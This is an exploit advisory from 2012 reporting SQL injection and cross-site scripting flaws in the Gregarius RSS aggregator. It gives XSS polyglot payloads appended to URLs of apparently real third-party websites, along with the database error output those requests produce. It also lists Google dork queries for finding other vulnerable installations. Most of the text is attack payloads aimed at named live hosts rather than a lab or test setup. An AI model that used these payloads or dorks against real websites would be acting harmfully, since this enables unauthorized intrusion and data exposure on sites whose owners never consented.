# Exploit Title: Gregarius 0.x.x SQL Injection/Cross Site Scripting
# Date: 7.01.2012
# Author: Sony
# Software Link: http://www.phpkode.com/projects/item/gregarius/
# Web Browser : Mozilla Firefox
# Blog : http://st2tea.blogspot.com
# PoC:
http://st2tea.blogspot.com/2012/01/gregarius-0xx-sql-injectioncross-site.html
..................................................................
Well, when i was looking for xss on the linux-installieren.de i found sql.
We can see : (i want to say that i know little about sql-inj and i don't
can put "full sql" here, sorry)
http://news.linux-installieren.de/LinuxTag:_News/?page=1&media=rss&
http://news.linux-installieren.de/LinuxTag:_News/?page=1[it'shere]&media=rss&
http://news.linux-installieren.de/LinuxTag:_News/?page=1%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E&media=rss&
Failed to execute the SQL query
select i.title, c.title, c.id, i.unread, i.url, i.enclosure, i.author,
i.description, c.icon, unix_timestamp(ifnull(i.pubdate,i.added)) as ts,
i.pubdate is not null as ispubdate, i.id , null from news_item i inner
join news_channels c on (c.id = i.cid) inner join news_folders f on (
f.id = c.parent) where not(i.unread & 8) and not(i.unread & 4) and i.cid
= 25 and 1=1 order by ts desc, f.position asc, c.position asc , ts desc,
i.id asc limit 18.88383, 10
Error 1064: You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near
'18.88383, 10' at line 1
It's version Gregarius 0.6.1.
We well see in Google Dorks:
intext:page=1&media=rss&. or intext?page=1&media=atom& or etc..
And we can see some web sites, which use gregarius.
http://news.geocaching-portal.com/Der_Struwwelpod/?page=1[it'shere]&media=rss&.
http://dobeska.net/rss/?page=1[it's here]&media=rss& (oh, i will write
later for admin about it)
And we can see 0.5.5 version:
http://www.totustuustools.net/rss/?page=1&media=rss
Well, but i wanted a find xss in the gregarius and i found it. But only in
another version and with sql too.
http://www.vicious-trollop.com/rss/admin/index.php?domain=folders&action=edit&fid=8[it'shere
xss with sql]
http://www.vicious-trollop.com/rss/admin/index.php?domain=folders&action=edit&fid=8%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E
http://faustobp.free.fr/gregarius/admin/index.php?domain=folders&action=edit&fid=8%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E
http://www.banemacleod.com/lab/gregarius/admin/index.php?domain=folders&action=edit&fid=8%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E
Version :Gregarius 0.5.0, Gregarius 0.5.2,Gregarius 0.4.2..
You can see in the Google Dorks:
inurl:/rss/admin/index.php?domain=
intitle:Gregarius » Feeds Admin
etc..
And here we can see again sql.
Error 1064: You have an error in your SQL syntax..